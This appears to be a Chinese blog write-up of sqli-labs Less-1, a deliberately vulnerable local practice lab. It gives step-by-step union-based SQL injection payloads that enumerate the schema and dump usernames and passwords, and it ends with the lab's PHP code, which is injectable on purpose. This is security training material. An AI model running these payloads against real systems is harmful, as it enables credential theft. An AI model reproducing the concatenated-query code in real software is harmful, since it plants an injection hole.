码迷,mamicode.com
首页 > 数据库 > 详细

sqli-labs-master第一关:基于错误的GET单引号字符型注入

时间:2018-01-14 18:39:58      阅读:220      评论:0      收藏:0      [点我收藏+]

标签:通过   看到了   uri   rom   显示   sql语句   版本   地方   iss   

首先来到第一关:


http://127.0.0.1/sqli-labs-master/Less-1/


技术分享图片


用语句 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 进行测试报错


可以看到sql语句出错了。技术分享图片


用 and 1 = 1去测试:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 1 %23 回显正常

%23是“#”注释

技术分享图片


用 and 1 = 2 去测试:http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 2 %23 回显示失败,说明存在注入点。


技术分享图片


判断字段:

当order by 3 的时候,回显正常:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 %23

技术分享图片

当order by 4 的时候,回显不正常:


技术分享图片


说明字段是3。

报错显示回显库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,3 %23

回显的地方是2和3。

技术分享图片

用version()看版本:

用database()看当前网站使用的数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,version(), database() %23

通过下图可以看到,使用的php版本是5.5.53,该网站使用的数据库名字是security


技术分享图片

添加?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23 使用过滤查询语句where 查看security数据库内的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

看到有四个表:


技术分享图片


查看users表内的列

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23


技术分享图片

查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users %23

技术分享图片


我们在看到users表里还看到了id,我们看看有多少组账号密码

只需要在后面加上 where id = n即可

经过测试 id 最大是14

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 1%23

技术分享图片

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 14%23



技术分享图片


第一关结束:


第二关很快更新。



声明:官方源码被我改动了。附上我改动的php代码:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $sql;
echo "<br>";
if($row)
{
 	echo "<font size='5' color= '#99FF00'>";
 	echo 'Your Login name:'. $row['username'];
 	echo "<br>";
 	echo 'Your Password:' .$row['password'];
 	echo "</font>";
 	}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

微信公众号:

技术分享图片

sqli-labs-master第一关:基于错误的GET单引号字符型注入

标签:通过   看到了   uri   rom   显示   sql语句   版本   地方   iss   

原文地址:http://blog.51cto.com/tdcqvip/2060816

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!